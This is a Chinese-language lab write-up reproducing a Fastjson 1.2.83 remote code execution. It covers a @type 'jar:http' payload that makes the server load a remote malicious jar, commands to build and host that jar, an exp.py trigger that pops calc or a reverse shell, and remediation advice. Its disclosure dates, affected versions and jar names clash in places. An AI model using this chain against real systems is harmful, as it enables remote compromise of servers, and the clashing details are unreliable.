摘要
Fastjson 1.2.83 存在一条不需要任何传统 Gadget 的远程代码执行链:攻击者构造 jar:http:// 形式的 @type 类名,fastjson 在 checkAutoType 的信任路径下会从远程 HTTP 托管服务器下载恶意 jar,加载其中的类并触发类的静态初始化(<clinit>),从而执行任意命令。本文在 Windows + JDK 8 环境下完整复现该漏洞,记录了两弹计算器、反弹 Shell 的全过程,以及复现过程中遇到的三个关键报错与根因。
参考:该漏洞编号 QVD-2026-43021 / CVE-2026-16723,2026-07-21 由 FearsOff 团队披露,影响 fastjson 1.2.68 ~ 1.2.83。
|-------|-------------------------------------|
| 项目 | 内容 |
| 漏洞名称 | Fastjson @JSONType 资源探测远程代码执行漏洞 |
| 披露时间 | 2026-07-19(Kirill Firsov @k_firsov) |
| 影响版本 | Fastjson 1.2.66~1.2.83 |
| 漏洞类型 | 反序列化远程代码执行(RCE) |
| 危害等级 | 高危(CVSS 9.8) |
| 触发方式 | 网络远程,无需鉴权 |
| 利用复杂度 | 低 |
- Fastjson 1.2.66 -- 1.2.83
- JDK 8 环境(JDK 9+ 可能仅触发 SSRF)
- 且 autoTypeSupport 为 false、safeMode 为 false,确认环境条件满足。
漏洞复现
1.介绍
下载下面已经打包好的fastjson-1.2.83-rce漏洞环境
GitHub - 0x7eTeam/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE · GitHub
java -jar target\fastjson-tomcat-jdk8-env-1.0.0.jar
1.pom.xml
- 类型:Maven项目配置文件
- 作用:定义靶场的依赖与打包规则,核心引入fastjson 1.2.83和spring boot框架;通过mvn package 可将源码打包为可直接运行的jar包。你的target目录已存在编译产物,说明已完成打包,无需重新编译。
2.src目录
- 类型:靶场源码目录
- 作用:Spring Boot Web 项目源代码,核心漏洞入口为src/main/java/com/vuln/fastjson/controller/ParseController.java,功能是接收HTTP POST的JSON数据,调用JSON.parse()执行解析,是漏洞触发点。
3.target目录
- 类型:编译打包输出目录
- 作用:存放Maven 编译后的所有产物,核心文件是fastjson-rce-env-1.0.0.jar。这是Spring Boot打包的FatJar(胖包),内置全部依赖与LaunchedURLClassLoader,是满足漏洞触发条件的靶场程序,可直接通过java -jar启动。
4.POC目录
类型:漏洞利用工具集(攻击核心文件全部在此)
GenProbe.java:恶意JAR生成器源码,用于生成包含恶意代码的probe.jar,恶意代码写在静态代码块<clinit>中,类加载时自动执行命令。
exp.py:攻击脚本,自动构造JSON Payload并向靶场接口发送请求,触发漏洞。
lib/目录:编译依赖库,包含asm-9.6.jar(字节码生成工具)和fastjson-1.2.83.jar,编译GenProbe.java时必须引入。
www/目录:HTTP托管目录,生成的恶意probe.jar会放在此处,Python启动HTTP服务后,靶场将从目录远程下载恶意JAR。
2.漏洞原理
触发链
@type 类名(jar:http://host:port/xxx!.Class)
→ ParserConfig.checkAutoType()
→ 黑白名单/denyList 检查通过
→ defaultClassLoader.getResourceAsStream(类名.replace('.','/')+".class")
→ 远程下载恶意 jar
→ fastjson 自带 ASM 探测 hasJsonType()(类是否带 @JSONType 注解)
→ TypeUtils.loadClass() 真正加载类(触发远程 jar 内类定义)
→ 反序列化创建实例 → 类初始化执行 <clinit> → RCE
Fastjson 在处理@type字段时,会调用checkAutoType方法尝试加载类。攻击者可以构造一个特殊的@type 值,例如:
jar:http:..2130706433:19090.probe!.POC
其中2130706433是127.0.0.1 的十进制整数表示(用于绕过点号替换逻辑)。
Fastjson 会将该值转换为 JAR URL:
jar:http://127.0.0.1:19090/probe!/POC.class
在 Spring Boot 的LaunchedURLClassLoader环境下,该 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。
3.漏洞利用
1.基础环境
校验Java版本(必须为 JDK 8,JDK 9+ 无法触发 RCE)
python版本需要大于3.10
java -version
python3 --version

2.启动漏洞靶场
使用target目录下的编译好的jar包启动靶场,默认监听18080端口:
java -jar target/fastjson-rce-env-1.0.0.jar
浏览器访问http://127.0.0.1:18080/可正常打开页面

3.弹计算器
1.编译恶意payload脚本
javac -encoding UTF-8 -cp "E:\fastjson-1.2.83-rce-main\poc\lib\*" -d "E:\fastjson-1.2.83-rce-main\poc" "E:\fastjson-1.2.83-rce-main\poc\GenProbe.java"

2.生成恶意probe.jar
执行成功后,会在poc/www/目录下生成probe 文件(即恶意 JAR 包)
Windows 弹计算器改最后参数为 "calc"
"C:\Java\jdk1.8.0_191\bin\java.exe" -cp "E:\fastjson-1.2.83-rce-main\poc;E:\fastjson-1.2.83-rce-main\poc\lib\asm-9.6.jar;E:\fastjson-1.2.83-rce-main\poc\lib\fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "calc"
3.启动HTTP文件托管服务
靶场需要通过HTTP协议下载恶意JAR,因此用Python在poc/www目录下启动HTTP服务,端口指定为19090:
cd /d E:\fastjson-1.2.83-rce-main\poc\www && python -m http.server 19090

4.执行恶意payload,弹计算器
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

4.反弹shell
提前新开终端监听4444端口
powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\wuwu\nc\listen.ps1 4444
反弹shell:
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe
反弹shell成功

4.修复建议
- 升级版本:升级到已修复的 fastjson 版本,或关注厂商修复公告;
- 开启 safeMode:ParserConfig.getGlobalInstance().setSafeMode(true),拒绝一切自动类型解析;
- 保持 autoTypeSupport=false:本次复现链路在 autoTypeSupport=false 下依然成立,切勿依赖该开关;
- 出网管控:该链需要服务器主动访问攻击者的 HTTP 服务,严格限制应用服务器对外连接、关闭不必要的出网端口;
- WAF/IDS 规则:对 @type 中出现的 jar:http、jar:https 等协议前缀做检测拦截;
- 最小化依赖:及时清理不再使用的第三方库。
该漏洞最值得警惕的点是:无需任何传统 Gadget、无需开启 autoTypeSupport,仅需目标服务可访问一个攻击者控制的 HTTP 地址即可完成 RCE,实际利用成本很低。
本记录仅用于本地授权环境下的安全研究与防御验证,请勿用于未授权目标。